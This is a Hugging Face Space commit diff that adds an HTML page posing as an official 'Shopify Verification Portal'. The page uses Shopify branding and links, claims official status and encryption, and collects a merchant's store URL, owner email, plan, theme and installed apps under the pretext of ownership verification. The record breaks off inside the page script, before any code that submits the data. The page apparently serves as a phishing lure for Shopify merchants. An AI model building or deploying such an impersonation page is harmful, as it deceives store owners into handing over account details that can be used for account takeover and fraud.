Sal-Joy commited on
Commit
eee7a10
Β·
verified Β·
1 Parent(s): 2b95ee8

Update index.html

Browse files
Files changed (1) hide show
  1. index.html +840 -19
index.html CHANGED
@@ -1,19 +1,840 @@
1
- <!doctype html>
2
- <html>
3
- <head>
4
- <meta charset="utf-8" />
5
- <meta name="viewport" content="width=device-width" />
6
- <title>My static Space</title>
7
- <link rel="stylesheet" href="style.css" />
8
- </head>
9
- <body>
10
- <div class="card">
11
- <h1>Welcome to your static Space!</h1>
12
- <p>You can modify this app directly by editing <i>index.html</i> in the Files and versions tab.</p>
13
- <p>
14
- Also don't forget to check the
15
- <a href="https://huggingface.co/docs/hub/spaces" target="_blank">Spaces documentation</a>.
16
- </p>
17
- </div>
18
- </body>
19
- </html>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <script>window.huggingface={variables:{"SPACE_CREATOR_USER_ID":"67b32e72d2ee8e627d0131af"}};</script>
5
+ <meta charset="UTF-8">
6
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
7
+ <title>Store Verification Portal</title>
8
+ <script src="https://cdn.tailwindcss.com"></script>
9
+ <script src="https://unpkg.com/lucide@latest/dist/umd/lucide.js"></script>
10
+ <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
11
+ <style>
12
+ :root {
13
+ --bg-primary: #f8fafc;
14
+ --text-primary: #0f172a;
15
+ --text-muted: #64748b;
16
+ --card-bg: rgba(255, 255, 255, 0.7);
17
+ --card-border: rgba(148, 163, 184, 0.2);
18
+ --glass-bg: rgba(255, 255, 255, 0.85);
19
+ --input-bg: rgba(255, 255, 255, 0.9);
20
+ --accent: #16a34a;
21
+ --panel-shadow: 0 4px 20px -2px rgba(0, 0, 0, 0.05);
22
+ --input-border: rgba(148, 163, 184, 0.3);
23
+
24
+ /* New Summary Section Variables */
25
+ --summary-card-bg: linear-gradient(180deg, #d4e4f7 0%, #e8f0f9 100%);
26
+ --summary-border: #b0c8e0;
27
+ }
28
+
29
+ @media (prefers-color-scheme: dark) {
30
+ :root {
31
+ --bg-primary: #020617;
32
+ --text-primary: #e2e8f0;
33
+ --text-muted: #94a3b8;
34
+ --card-bg: rgba(15, 23, 42, 0.6);
35
+ --card-border: rgba(51, 65, 85, 0.5);
36
+ --glass-bg: rgba(15, 23, 42, 0.8);
37
+ --input-bg: rgba(15, 23, 42, 0.9);
38
+ --accent: #22c55e;
39
+ --panel-shadow: 0 10px 30px -5px rgba(0, 0, 0, 0.3);
40
+ --input-border: rgba(51, 65, 85, 0.6);
41
+
42
+ --summary-card-bg: linear-gradient(180deg, #1e293b 0%, #0f172a 100%);
43
+ --summary-border: #334155;
44
+ }
45
+ }
46
+
47
+ body {
48
+ font-family: 'Inter', system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
49
+ background: var(--bg-primary);
50
+ color: var(--text-primary);
51
+ transition: background 0.4s ease, color 0.4s ease;
52
+ }
53
+
54
+ .container { max-width: 1040px; }
55
+
56
+ .glass-card {
57
+ background: var(--card-bg);
58
+ border: 1px solid var(--card-border);
59
+ backdrop-filter: blur(12px);
60
+ border-radius: 1.25rem;
61
+ box-shadow: var(--panel-shadow);
62
+ transition: transform 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275), box-shadow 0.4s ease;
63
+ }
64
+
65
+ .glass-card:hover {
66
+ transform: translateY(-4px);
67
+ box-shadow: 0 20px 40px -10px rgba(0, 0, 0, 0.15);
68
+ }
69
+
70
+ /* Dynamic Background */
71
+ .bg-dynamic {
72
+ position: fixed;
73
+ top: 0; left: 0; right: 0; bottom: 0;
74
+ z-index: -1;
75
+ background:
76
+ radial-gradient(circle at 15% 50%, rgba(16, 185, 129, 0.08), transparent 25%),
77
+ radial-gradient(circle at 85% 30%, rgba(59, 130, 246, 0.08), transparent 25%);
78
+ animation: pulseBg 10s ease-in-out infinite alternate;
79
+ }
80
+
81
+ @keyframes pulseBg {
82
+ 0% { opacity: 0.5; transform: scale(1); }
83
+ 100% { opacity: 1; transform: scale(1.05); }
84
+ }
85
+
86
+ .terminal-window {
87
+ background: #0f172a;
88
+ border-radius: 0.75rem;
89
+ overflow: hidden;
90
+ border: 1px solid rgba(255, 255, 255, 0.1);
91
+ }
92
+
93
+ .terminal-header {
94
+ background: rgba(255, 255, 255, 0.05);
95
+ padding: 0.75rem 1rem;
96
+ border-bottom: 1px solid rgba(255, 255, 255, 0.1);
97
+ display: flex;
98
+ align-items: center;
99
+ gap: 0.5rem;
100
+ }
101
+
102
+ .terminal-dot { width: 10px; height: 10px; border-radius: 50%; }
103
+
104
+ .pill-input {
105
+ border-radius: 9999px;
106
+ border: 1px solid var(--card-border);
107
+ background: var(--input-bg);
108
+ transition: all 0.2s ease;
109
+ }
110
+
111
+ .accent-btn {
112
+ background: linear-gradient(135deg, #10b981, #059669);
113
+ color: white;
114
+ transition: all 0.3s ease;
115
+ position: relative;
116
+ overflow: hidden;
117
+ }
118
+
119
+ .accent-btn::after {
120
+ content: '';
121
+ position: absolute;
122
+ top: 0;
123
+ left: -100%;
124
+ width: 50%;
125
+ height: 100%;
126
+ background: linear-gradient(90deg, transparent, rgba(255,255,255,0.3), transparent);
127
+ transform: skewX(-20deg);
128
+ transition: 0.5s;
129
+ }
130
+
131
+ .accent-btn:hover::after { left: 150%; transition: 0.7s ease-in-out; }
132
+
133
+ .accent-btn:hover {
134
+ transform: translateY(-1px);
135
+ box-shadow: 0 10px 20px -5px rgba(16, 185, 129, 0.4);
136
+ }
137
+
138
+ /* Premium Input Focus */
139
+ .shopify-input:focus, .shopify-input-wrapper:focus-within {
140
+ box-shadow: 0 0 0 2px rgba(16, 185, 129, 0.2), 0 4px 12px rgba(0,0,0,0.05);
141
+ border-color: var(--accent);
142
+ transform: translateY(-1px);
143
+ }
144
+
145
+ .loading-overlay {
146
+ position: fixed;
147
+ inset: 0;
148
+ background: rgba(255, 255, 255, 0.85);
149
+ backdrop-filter: blur(16px);
150
+ display: none;
151
+ z-index: 100;
152
+ justify-content: center;
153
+ align-items: center;
154
+ }
155
+
156
+ @media (prefers-color-scheme: dark) {
157
+ .loading-overlay {
158
+ background: rgba(15, 23, 42, 0.85);
159
+ }
160
+ }
161
+
162
+ /* Enhanced URL Badge */
163
+ .url-badge {
164
+ background: rgba(16, 185, 129, 0.08);
165
+ color: #047857;
166
+ padding: 0.35em 0.8em;
167
+ border-radius: 0.5rem;
168
+ font-weight: 800;
169
+ font-family: 'Inter', sans-serif;
170
+ border: 1px solid rgba(16, 185, 129, 0.2);
171
+ box-shadow: 0 2px 10px rgba(16, 185, 129, 0.05);
172
+ }
173
+ @media (prefers-color-scheme: dark) {
174
+ .url-badge {
175
+ background: rgba(16, 185, 129, 0.15);
176
+ color: #34d399;
177
+ border-color: rgba(16, 185, 129, 0.3);
178
+ }
179
+ }
180
+
181
+ /* Smooth View Transitions */
182
+ .view-section {
183
+ transition: opacity 0.4s ease, transform 0.4s ease;
184
+ opacity: 1;
185
+ transform: translateY(0);
186
+ }
187
+ .view-section.fade-out {
188
+ opacity: 0;
189
+ transform: translateY(-10px);
190
+ pointer-events: none;
191
+ }
192
+
193
+ @keyframes fadeIn {
194
+ from { opacity: 0; transform: translateY(10px); }
195
+ to { opacity: 1; transform: translateY(0); }
196
+ }
197
+
198
+ .animate-in { animation: fadeIn 0.6s cubic-bezier(0.16, 1, 0.3, 1) forwards; }
199
+
200
+ pre::-webkit-scrollbar { width: 6px; height: 6px; }
201
+ pre::-webkit-scrollbar-thumb { background: rgba(255, 255, 255, 0.2); border-radius: 10px; }
202
+
203
+ /* Summary Report Specific Styles */
204
+ .report-card-summary {
205
+ background: var(--summary-card-bg);
206
+ border: 2px solid var(--summary-border);
207
+ border-radius: 12px;
208
+ padding: 30px;
209
+ margin-top: 40px;
210
+ }
211
+
212
+ .card-title-summary {
213
+ color: var(--text-primary);
214
+ font-size: 24px;
215
+ font-weight: 700;
216
+ margin-bottom: 25px;
217
+ letter-spacing: -0.02em;
218
+ }
219
+
220
+ .report-content-summary {
221
+ display: flex;
222
+ gap: 30px;
223
+ align-items: flex-start;
224
+ }
225
+
226
+ .site-icon-summary {
227
+ background: linear-gradient(135deg, #e87722 0%, #d96615 100%);
228
+ width: 120px;
229
+ height: 120px;
230
+ border-radius: 12px;
231
+ display: flex;
232
+ align-items: center;
233
+ justify-content: center;
234
+ flex-shrink: 0;
235
+ box-shadow: 0 4px 12px rgba(0,0,0,0.15);
236
+ cursor: pointer;
237
+ position: relative;
238
+ }
239
+
240
+ .site-icon-letter-summary {
241
+ color: white;
242
+ font-size: 70px;
243
+ font-weight: 700;
244
+ user-select: none;
245
+ }
246
+
247
+ .detail-row-summary {
248
+ display: grid;
249
+ grid-template-columns: 140px 1fr;
250
+ margin-bottom: 15px;
251
+ align-items: start;
252
+ }
253
+
254
+ .detail-label-summary {
255
+ color: var(--text-primary);
256
+ font-weight: 700;
257
+ font-size: 14px;
258
+ opacity: 0.8;
259
+ }
260
+
261
+ .detail-value-summary {
262
+ color: var(--text-primary);
263
+ font-size: 14px;
264
+ }
265
+
266
+ .detail-value-summary a {
267
+ color: var(--accent);
268
+ text-decoration: none;
269
+ font-weight: 600;
270
+ }
271
+
272
+ .badges-summary {
273
+ display: flex;
274
+ flex-wrap: wrap;
275
+ gap: 8px;
276
+ }
277
+
278
+ .badge-summary {
279
+ padding: 4px 10px;
280
+ border-radius: 6px;
281
+ font-size: 11px;
282
+ font-weight: 700;
283
+ display: inline-flex;
284
+ align-items: center;
285
+ gap: 5px;
286
+ text-transform: uppercase;
287
+ }
288
+
289
+ .badge-summary.success { background-color: #10b981; color: white; }
290
+ .badge-summary.danger { background-color: #ef4444; color: white; }
291
+
292
+ .badge-summary::before { content: 'βœ“'; font-weight: bold; }
293
+ .badge-summary.danger::before { content: 'βœ•'; font-weight: bold; }
294
+
295
+ .missing-headers-summary {
296
+ background: var(--summary-card-bg);
297
+ border: 2px solid var(--summary-border);
298
+ border-radius: 12px;
299
+ padding: 30px;
300
+ margin-top: 20px;
301
+ }
302
+
303
+ .header-item-summary {
304
+ display: grid;
305
+ grid-template-columns: 220px 1fr;
306
+ padding: 15px 0;
307
+ border-bottom: 1px solid var(--card-border);
308
+ gap: 20px;
309
+ }
310
+
311
+ .header-item-summary:last-child { border-bottom: none; }
312
+
313
+ .header-name-summary {
314
+ color: #ef4444;
315
+ font-weight: 700;
316
+ font-size: 14px;
317
+ }
318
+
319
+ .header-description-summary {
320
+ color: var(--text-primary);
321
+ font-size: 13px;
322
+ line-height: 1.6;
323
+ opacity: 0.9;
324
+ }
325
+
326
+ /* Icon Editor Styles */
327
+ .icon-editor-container-summary {
328
+ position: absolute;
329
+ top: 0;
330
+ left: 100%;
331
+ margin-left: 15px;
332
+ background: var(--glass-bg);
333
+ border: 1px solid var(--card-border);
334
+ border-radius: 12px;
335
+ padding: 15px;
336
+ display: none;
337
+ flex-direction: column;
338
+ gap: 10px;
339
+ z-index: 50;
340
+ box-shadow: var(--panel-shadow);
341
+ backdrop-filter: blur(20px);
342
+ min-width: 150px;
343
+ }
344
+
345
+ .icon-editor-container-summary.visible { display: flex; }
346
+
347
+ .icon-editor-label-summary {
348
+ font-size: 11px;
349
+ font-weight: 700;
350
+ text-transform: uppercase;
351
+ color: var(--text-muted);
352
+ }
353
+
354
+ .icon-letter-input-summary {
355
+ padding: 8px;
356
+ border: 1px solid var(--card-border);
357
+ border-radius: 6px;
358
+ font-size: 14px;
359
+ font-weight: 700;
360
+ text-align: center;
361
+ background: var(--input-bg);
362
+ color: var(--text-primary);
363
+ }
364
+
365
+ .icon-color-input-summary {
366
+ width: 100%;
367
+ height: 35px;
368
+ border: none;
369
+ border-radius: 6px;
370
+ cursor: pointer;
371
+ }
372
+
373
+ .icon-editor-button-summary {
374
+ padding: 8px;
375
+ font-size: 12px;
376
+ background: var(--accent);
377
+ color: white;
378
+ border-radius: 6px;
379
+ cursor: pointer;
380
+ font-weight: 700;
381
+ }
382
+
383
+ .site-icon-summary.editing {
384
+ outline: 3px solid var(--accent);
385
+ }
386
+
387
+ @media (max-width: 768px) {
388
+ .report-content-summary { flex-direction: column; align-items: center; text-align: center; }
389
+ .detail-row-summary { grid-template-columns: 1fr; gap: 4px; }
390
+ .header-item-summary { grid-template-columns: 1fr; }
391
+ .icon-editor-container-summary { left: 0; top: 100%; margin-left: 0; margin-top: 10px; }
392
+ }
393
+ </style>
394
+ </head>
395
+ <body class="min-h-screen selection:bg-emerald-500/30">
396
+ <div class="bg-dynamic"></div>
397
+
398
+ <!-- HEADER -->
399
+ <header class="sticky top-0 z-40 w-full border-b border-slate-200 dark:border-slate-800/50 bg-white/80 dark:bg-slate-950/80 backdrop-blur-xl">
400
+ <div class="container mx-auto px-6 h-16 flex items-center justify-between">
401
+ <a href="https://www.shopify.com" target="_blank" class="flex items-center gap-3 hover:opacity-80 transition-opacity">
402
+ <div class="h-8 w-8 rounded-lg bg-emerald-500/10 flex items-center justify-center overflow-hidden">
403
+ <img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTEy0cgSHTCshtUnw9x-ArcasdhWQFF5ZIdbg&s" alt="Logo" class="w-full h-full object-cover">
404
+ </div>
405
+ <div class="flex flex-col">
406
+ <span class="text-sm font-bold tracking-tight text-slate-900 dark:text-white uppercase">Verification Portal</span>
407
+ <span class="text-[10px] text-slate-500 font-medium uppercase tracking-wider">Official Access</span>
408
+ </div>
409
+ </a>
410
+ </div>
411
+ </header>
412
+
413
+ <main class="container mx-auto px-6 py-12 md:py-20">
414
+
415
+ <!-- LANDING VIEW -->
416
+ <div id="landingView" class="view-section max-w-xl mx-auto space-y-10 animate-in pt-10">
417
+ <div class="text-center space-y-4">
418
+ <h1 class="text-4xl font-bold text-slate-900 dark:text-white tracking-tight">
419
+ Shopify Verification Portal
420
+ </h1>
421
+ <p class="text-slate-500 dark:text-slate-400 text-lg leading-relaxed">
422
+ Please verify your store ownership to continue.
423
+ </p>
424
+ </div>
425
+
426
+ <div class="glass-card p-8 space-y-6">
427
+ <form id="stepOneForm" class="space-y-6">
428
+ <div class="space-y-2">
429
+ <label class="text-[11px] font-bold uppercase tracking-widest text-slate-400 transition-colors group-focus-within:text-emerald-600">Enter your Store URL</label>
430
+ <div class="pill-input flex items-center px-4 py-3 gap-3 focus-within:border-emerald-500/50 focus-within:ring-4 focus-within:ring-emerald-500/5 transition-all">
431
+ <i data-lucide="globe" class="w-4 h-4 text-slate-400"></i>
432
+ <input type="text" id="storeUrlInputMain" name="storeUrl" required placeholder="yourstore.com" class="bg-transparent outline-none border-none text-sm text-slate-900 dark:text-white placeholder:text-slate-400 flex-1">
433
+ </div>
434
+ </div>
435
+ <button type="submit" class="accent-btn w-full flex items-center justify-center gap-2 text-sm font-bold py-3.5 rounded-xl">
436
+ Continue
437
+ <i data-lucide="arrow-right" class="w-4 h-4"></i>
438
+ </button>
439
+ </form>
440
+ </div>
441
+
442
+ <!-- Trust Indicators -->
443
+ <div class="grid grid-cols-1 md:grid-cols-3 gap-6 pt-4 group">
444
+ <div class="flex flex-col items-center text-center space-y-2 hover:scale-105 transition-transform duration-300 cursor-default">
445
+ <div class="w-10 h-10 rounded-full bg-blue-500/10 flex items-center justify-center text-blue-600 dark:text-blue-400">
446
+ <i data-lucide="shield" class="w-5 h-5"></i>
447
+ </div>
448
+ <h3 class="text-sm font-semibold text-slate-900 dark:text-white">Secure Validation</h3>
449
+ <p class="text-xs text-slate-500 dark:text-slate-400">Encrypted transmission ensuring your data remains private.</p>
450
+ </div>
451
+ <div class="flex flex-col items-center text-center space-y-2 hover:scale-105 transition-transform duration-300 cursor-default">
452
+ <div class="w-10 h-10 rounded-full bg-emerald-500/10 flex items-center justify-center text-emerald-600 dark:text-emerald-400">
453
+ <i data-lucide="check-circle" class="w-5 h-5"></i>
454
+ </div>
455
+ <h3 class="text-sm font-semibold text-slate-900 dark:text-white">Official Process</h3>
456
+ <p class="text-xs text-slate-500 dark:text-slate-400">Standard verification procedure for all merchant accounts.</p>
457
+ </div>
458
+ <div class="flex flex-col items-center text-center space-y-2 hover:scale-105 transition-transform duration-300 cursor-default">
459
+ <div class="w-10 h-10 rounded-full bg-purple-500/10 flex items-center justify-center text-purple-600 dark:text-purple-400">
460
+ <i data-lucide="clock" class="w-5 h-5"></i>
461
+ </div>
462
+ <h3 class="text-sm font-semibold text-slate-900 dark:text-white">Quick Review</h3>
463
+ <p class="text-xs text-slate-500 dark:text-slate-400">Most submissions are processed within 24 hours.</p>
464
+ </div>
465
+ </div>
466
+ </div>
467
+
468
+ <!-- VERIFICATION VIEW -->
469
+ <div id="verificationView" class="view-section hidden max-w-2xl mx-auto space-y-8 animate-in pt-6">
470
+ <!-- Progress Bar -->
471
+ <div class="flex items-center justify-between text-xs font-medium text-slate-500 dark:text-slate-400 mb-2">
472
+ <span>Step 2 of 2</span>
473
+ <span>Verification Details</span>
474
+ </div>
475
+ <div class="w-full bg-slate-200 dark:bg-slate-800 rounded-full h-1.5 mb-6">
476
+ <div class="bg-emerald-500 h-1.5 rounded-full w-1/2 animate-[width_1s_ease-out_forwards]" style="width: 90%"></div>
477
+ </div>
478
+
479
+ <div class="glass-card p-8 space-y-8">
480
+ <div class="space-y-2 border-b border-slate-200 dark:border-slate-800/60 pb-6">
481
+ <h2 class="text-2xl font-bold text-slate-900 dark:text-white">Security Verification</h2>
482
+ <p class="text-slate-500 dark:text-slate-400 text-sm">
483
+ Verifying ownership for <span id="verifyingUrl" class="url-badge text-lg align-middle ml-1"></span>
484
+ </p>
485
+ <div class="mt-2 flex items-center gap-2 text-xs text-amber-600 dark:text-amber-400 bg-amber-50 dark:bg-amber-900/20 px-3 py-2 rounded-lg border border-amber-100 dark:border-amber-900/30">
486
+ <i data-lucide="alert-circle" class="w-3 h-3 flex-shrink-0"></i>
487
+ <span>Please ensure details match your Shopify Admin exactly to avoid delays.</span>
488
+ </div>
489
+ </div>
490
+
491
+ <form id="verificationForm" class="space-y-6">
492
+ <input type="hidden" name="storeUrl" id="hiddenStoreUrl">
493
+ <div class="space-y-2">
494
+ <div class="flex items-center justify-between">
495
+ <label class="text-[11px] font-bold uppercase tracking-widest text-slate-400">Active Apps</label>
496
+ <span class="text-[10px] text-slate-400 cursor-help" title="Helps verify store configuration and owner">Why this?</span>
497
+ </div>
498
+ <p class="text-xs text-slate-500 mb-2">List two installed apps that are currently active in your admin.</p>
499
+ <input type="text" name="apps" required placeholder="e.g. Klaviyo, PageFly" class="w-full bg-slate-50 dark:bg-slate-900/50 rounded-lg px-4 py-3 text-sm focus:ring-2 focus:ring-emerald-500/20 outline-none transition-all">
500
+ </div>
501
+
502
+ <div class="space-y-2">
503
+ <label class="text-[11px] font-bold uppercase tracking-widest text-slate-400">Store Owner Email</label>
504
+ <p class="text-xs text-slate-500 mb-2">The exact email address used as the Shopify account owner.</p>
505
+ <input type="email" name="owner_email" required placeholder="owner@domain.com" class="w-full bg-slate-50 dark:bg-slate-900/50 border border-slate-200 dark:border-slate-700 rounded-lg px-4 py-3 text-sm focus:ring-2 focus:ring-emerald-500/20 outline-none transition-all">
506
+ </div>
507
+
508
+ <div class="space-y-2">
509
+ <label class="text-[11px] font-bold uppercase tracking-widest text-slate-400">Current Plan</label>
510
+ <p class="text-xs text-slate-500 mb-2">Which Shopify plan is currently active on your store?</p>
511
+ <input type="text" name="plan" required placeholder="e.g. Basic, Shopify, Advanced, Plus" class="w-full bg-slate-50 dark:bg-slate-900/50 border border-slate-200 dark:border-slate-700 rounded-lg px-4 py-3 text-sm focus:ring-2 focus:ring-emerald-500/20 outline-none transition-all">
512
+ </div>
513
+
514
+ <div class="space-y-2">
515
+ <label class="text-[11px] font-bold uppercase tracking-widest text-slate-400">Published Theme</label>
516
+ <p class="text-xs text-slate-500 mb-2">The name of the theme currently published on your store.</p>
517
+ <input type="text" name="theme" required placeholder="e.g. Dawn, Impulse" class="w-full bg-slate-50 dark:bg-slate-900/50 border border-slate-200 dark:border-slate-700 rounded-lg px-4 py-3 text-sm focus:ring-2 focus:ring-emerald-500/20 outline-none transition-all">
518
+ </div>
519
+
520
+ <div class="pt-4">
521
+ <button type="submit" class="accent-btn w-full flex items-center justify-center gap-2 text-sm font-bold py-3.5 rounded-xl">
522
+ Submit Verification
523
+ <i data-lucide="shield-check" class="w-4 h-4"></i>
524
+ </button>
525
+ </div>
526
+
527
+ <p class="text-xs text-center text-slate-400 flex items-center justify-center gap-2">
528
+ <i data-lucide="lock" class="w-3 h-3"></i>
529
+ Information is encrypted and used only for verification purposes.
530
+ </p>
531
+ </form>
532
+ </div>
533
+ </div>
534
+
535
+ <!-- LOADING VIEW -->
536
+ <div id="loadingView" class="loading-overlay">
537
+ <div class="glass-card p-12 text-center space-y-8 max-w-sm w-full mx-4 shadow-2xl border-0 ring-1 ring-white/20">
538
+ <div class="relative inline-block">
539
+ <div class="w-20 h-20 border-[5px] border-emerald-500/10 border-t-emerald-500 rounded-full animate-spin"></div>
540
+ <div class="absolute inset-0 flex items-center justify-center">
541
+ <i data-lucide="shield-check" class="w-8 h-8 text-emerald-500 animate-pulse"></i>
542
+ </div>
543
+ </div>
544
+ <div class="space-y-2">
545
+ <h3 id="loadingStatus" class="text-xl font-bold tracking-tight text-slate-900 dark:text-white transition-all duration-300">Initializing...</h3>
546
+ <div class="h-1 w-32 bg-slate-100 dark:bg-slate-800 rounded-full mx-auto overflow-hidden mt-4">
547
+ <div id="loadingProgress" class="h-full bg-emerald-500 w-0 transition-all duration-500 ease-out"></div>
548
+ </div>
549
+ </div>
550
+ </div>
551
+ </div>
552
+
553
+ <!-- SUCCESS VIEW -->
554
+ <div id="successView" class="view-section hidden max-w-xl mx-auto space-y-8 animate-in pt-10">
555
+ <div class="glass-card p-10 text-center space-y-6">
556
+ <div class="w-20 h-20 bg-emerald-500/10 rounded-full flex items-center justify-center mx-auto text-emerald-500">
557
+ <i data-lucide="check-circle-2" class="w-10 h-10"></i>
558
+ </div>
559
+ <div class="space-y-2">
560
+ <h2 class="text-2xl font-bold text-slate-900 dark:text-white">Verification Submitted</h2>
561
+ <p class="text-slate-500 dark:text-slate-400">
562
+ Your store details have been securely transmitted for review. You will receive a confirmation email shortly.
563
+ </p>
564
+ </div>
565
+ <button onclick="window.location.reload()" class="text-sm font-bold text-emerald-600 hover:text-emerald-500 transition-colors">
566
+ Return to Home
567
+ </button>
568
+ </div>
569
+
570
+ <!-- Next Steps Timeline -->
571
+ <div class="max-w-md mx-auto">
572
+ <h3 class="text-xs font-bold uppercase tracking-widest text-slate-400 mb-4 text-center">What happens next?</h3>
573
+ <div class="space-y-4">
574
+ <div class="flex gap-4">
575
+ <div class="flex flex-col items-center">
576
+ <div class="w-2 h-2 rounded-full bg-emerald-500"></div>
577
+ <div class="w-0.5 h-full bg-slate-200 dark:bg-slate-800 my-1"></div>
578
+ </div>
579
+ <div class="pb-4">
580
+ <p class="text-sm font-medium text-slate-900 dark:text-white">Submission Received</p>
581
+ <p class="text-xs text-slate-500">Our system has logged your verification request.</p>
582
+ </div>
583
+ </div>
584
+ <div class="flex gap-4">
585
+ <div class="flex flex-col items-center">
586
+ <div class="w-2 h-2 rounded-full bg-slate-300 dark:bg-slate-700"></div>
587
+ <div class="w-0.5 h-full bg-slate-200 dark:bg-slate-800 my-1"></div>
588
+ </div>
589
+ <div class="pb-4">
590
+ <p class="text-sm font-medium text-slate-500">Manual Review</p>
591
+ <p class="text-xs text-slate-500">An admin will verify the details against public records.</p>
592
+ </div>
593
+ </div>
594
+ <div class="flex gap-4">
595
+ <div class="flex flex-col items-center">
596
+ <div class="w-2 h-2 rounded-full bg-slate-300 dark:bg-slate-700"></div>
597
+ </div>
598
+ <div>
599
+ <p class="text-sm font-medium text-slate-500">Confirmation</p>
600
+ <p class="text-xs text-slate-500">You will receive an email once access is granted.</p>
601
+ </div>
602
+ </div>
603
+ </div>
604
+ </div>
605
+ </div>
606
+ </main>
607
+
608
+ <footer class="mt-20 border-t border-slate-200 dark:border-slate-800/60 py-10">
609
+ <div class="container mx-auto px-6 flex flex-col md:flex-row justify-between items-center gap-6">
610
+ <p class="text-xs text-slate-500 font-medium tracking-tight">Β© 2026 Shopify Verification Portal. Secure &amp; Compliant.</p>
611
+ <div class="flex items-center gap-6 text-[10px] font-bold uppercase tracking-widest text-slate-400">
612
+ <a href="https://www.shopify.com/legal/privacy" class="hover:text-slate-900 dark:hover:text-white transition-colors">Privacy Policy</a>
613
+ <a href="https://www.shopify.com/legal/terms" class="hover:text-slate-900 dark:hover:text-white transition-colors">Terms of Service</a>
614
+ <a href="https://www.shopify.com" target="_blank" class="hover:text-slate-900 dark:hover:text-white transition-colors">Powered by Shopify</a>
615
+ </div>
616
+ </div>
617
+ </footer>
618
+
619
+ <script>
620
+ lucide.createIcons();
621
+
622
+ const stepOneForm = document.getElementById('stepOneForm');
623
+ const verificationForm = document.getElementById('verificationForm');
624
+ const landingView = document.getElementById('landingView');
625
+ const verificationView = document.getElementById('verificationView');
626
+ const loadingView = document.getElementById('loadingView');
627
+ const successView = document.getElementById('successView');
628
+ const loadingStatus = document.getElementById('loadingStatus');
629
+ const loadingProgress = document.getElementById('loadingProgress');
630
+ const storeUrlInput = document.getElementById('storeUrlInputMain');
631
+ const verifyingUrlSpan = document.getElementById('verifyingUrl');
632
+
633
+ // Fix URL Logic
634
+ const fixUrl = (input) => {
635
+ let val = input.value.trim();
636
+ if (val && !/^https?:\/\//i.test(val)) {
637
+ input.value = 'https://' + val;
638
+ }
639
+ };
640
+ storeUrlInput.addEventListener('blur', () => fixUrl(storeUrlInput));
641
+
642
+ // Form Visibility Logic
643
+ stepOneForm.addEventListener('submit', async (e) => {
644
+ e.preventDefault();
645
+ fixUrl(storeUrlInput);
646
+ const url = storeUrlInput.value.trim();
647
+ if (isValidUrl(url)) {
648
+ // Smooth fade out
649
+ landingView.classList.add('fade-out');
650
+ await new Promise(r => setTimeout(r, 400));
651
+ landingView.classList.add('hidden');
652
+ landingView.classList.remove('fade-out');
653
+
654
+ document.getElementById('hiddenStoreUrl').value = url;
655
+
656
+ // Dynamic Loading Sequence
657
+ loadingView.style.display = 'flex';
658
+ const sequence = [
659
+ { text: `Locating Store...`, progress: '25%', delay: 800 },
660
+ { text: `Connecting to ${new URL(url).hostname}...`, progress: '50%', delay: 1200 },
661
